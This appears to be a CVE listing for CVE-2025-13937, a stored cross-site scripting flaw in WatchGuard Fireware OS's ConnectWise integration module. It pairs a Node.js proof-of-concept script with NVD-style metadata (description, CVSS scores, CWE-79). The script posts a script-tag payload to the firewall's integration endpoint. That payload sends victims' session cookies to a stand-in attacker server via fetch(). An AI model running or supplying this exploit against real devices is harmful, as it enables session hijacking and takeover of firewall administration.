CVE-2025-13937

// CVE-2025-13937 Stored XSS PoC // Target: WatchGuard Fireware OS ConnectWise Integration Module // Note: This PoC is for educational and authorized testing purposes only const http = require('http'); const targetHost = 'target-firewall-ip'; const targetPort = 443; const targetPath = '/connectwise/integration/endpoint'; // Malicious XSS payload - steals session cookies const xssPayload = '<script>fetch("https://attacker-c2.com/steal?c="+document.cookie)</script>'; const postData = JSON.stringify({ name: 'ConnectWise Integration', description: xssPayload, configuration: 'test' }); const options = { hostname: targetHost, port: targetPort, path: targetPath, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData), 'User-Agent': 'Mozilla/5.0' }, rejectUnauthorized: false }; const req = http.request(options, (res) => { console.log(`Status Code: ${res.statusCode}`); let data = ''; res.on('data', (chunk) => { data += chunk; }); res.on('end', () => { console.log('Response:', data); console.log('XSS payload sent successfully'); }); }); req.on('error', (e) => { console.error(`Request error: ${e.message}`); }); req.write(postData); req.end();

{"cve": {"id": "CVE-2025-13937", "sourceIdentifier": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "published": "2025-12-04T22:15:47.697", "lastModified": "2025-12-10T16:02:33.660", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in WatchGuard Fireware OS (ConnectWise Technology Integration module) allows Stored XSS.This issue affects Fireware OS 12.4 up to and including 12.11.4, 12.5 up to and including 12.5.13, and 2025.1 up to and including 2025.1.2."}], "metrics": {"cvssMetricV40": [{"source": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:*", 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